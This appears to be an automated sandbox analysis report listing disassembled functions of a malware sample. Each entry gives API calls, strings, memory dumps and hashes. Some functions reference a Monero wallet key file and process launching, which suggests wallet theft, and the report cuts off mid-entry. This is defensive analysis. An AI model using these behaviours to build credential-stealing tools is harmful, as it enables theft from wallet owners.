Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 005F9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01410098,?,?,?,005F140C,?,01410098,00000000), ref: 005F926C
lstrcpyn.KERNEL32(0082AB88,01410098,01410098,?,005F140C,?,01410098), ref: 005F9290
lstrlen.KERNEL32(?,?,005F140C,?,01410098), ref: 005F92A7
wsprintfA.USER32 ref: 005F92C7

Strings

%s%s, xrefs: 005F92B5

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: c3e8b98b2934b5bd65bf193c563edb3519214ac5aa3ff1c19e48c7d4b8485ab9
Instruction ID: c730dab68db405743880799f99ff8f6a09ecd0401798b3d3df1d0eb2b49ee3fe
Opcode Fuzzy Hash: c3e8b98b2934b5bd65bf193c563edb3519214ac5aa3ff1c19e48c7d4b8485ab9
Instruction Fuzzy Hash: A701DA75500208FFCB18DFECD988EAE7BB9FF48364F108548F9099B244C635AA41DB95

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

<jemalloc>, xrefs: 6C690D92, 6C690DB9
: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 005F6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 005F6663

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

ShellExecuteEx.SHELL32(0000003C), ref: 005F6726
ExitProcess.KERNEL32 ref: 005F6755

Strings

<, xrefs: 005F66D9

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 77a22c13279cbb0276d34141260c625b9917b3f5d88f26580be5c86f7cefd090
Instruction ID: 2d69bd651249e11c727632216a2239230e5a868a773ce98175b236a664421969
Opcode Fuzzy Hash: 77a22c13279cbb0276d34141260c625b9917b3f5d88f26580be5c86f7cefd090
Instruction Fuzzy Hash: F3313CF1801209ABDB18EB90DD86BEE7B78BF44300F404198F31966191DFB86B49CF5A

Function 005F87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E28,00000000,?), ref: 005F882F
RtlAllocateHeap.NTDLL(00000000), ref: 005F8836
wsprintfA.USER32 ref: 005F8850

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

%dx%d, xrefs: 005F8847

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 0478ad304783ccb518ee591c8bb207983d815358d321d06de766f6549e462e86
Instruction ID: 9eeb180e55170229ec1d3c30b06129605db47d7a698d69b5fa863dea3a616fc7
Opcode Fuzzy Hash: 0478ad304783ccb518ee591c8bb207983d815358d321d06de766f6549e462e86
Instruction Fuzzy Hash: 6E2100B1A40208AFDB18DF94DD49FAEBBB8FF48711F108519F605A7280C779A9018BA5

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 005F8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,005F951E,00000000), ref: 005F8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 005F8D62
wsprintfW.USER32 ref: 005F8D78

Strings

%hs, xrefs: 005F8D6F

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 9aaefffa4c544db56080b4b91611861dd58c96c7c5ab1c2f33eab5010ed488e1
Instruction ID: 3ffc80bc8c9082b5c7db2deb116af7c97f26eed9ac5abb4e60289f7492b0a417
Opcode Fuzzy Hash: 9aaefffa4c544db56080b4b91611861dd58c96c7c5ab1c2f33eab5010ed488e1
Instruction Fuzzy Hash: 7DE08CB0A40208BFDB28DB94DC0AE6977B8FF04702F0080A4FE0987280DA719E018B96

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 005ED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

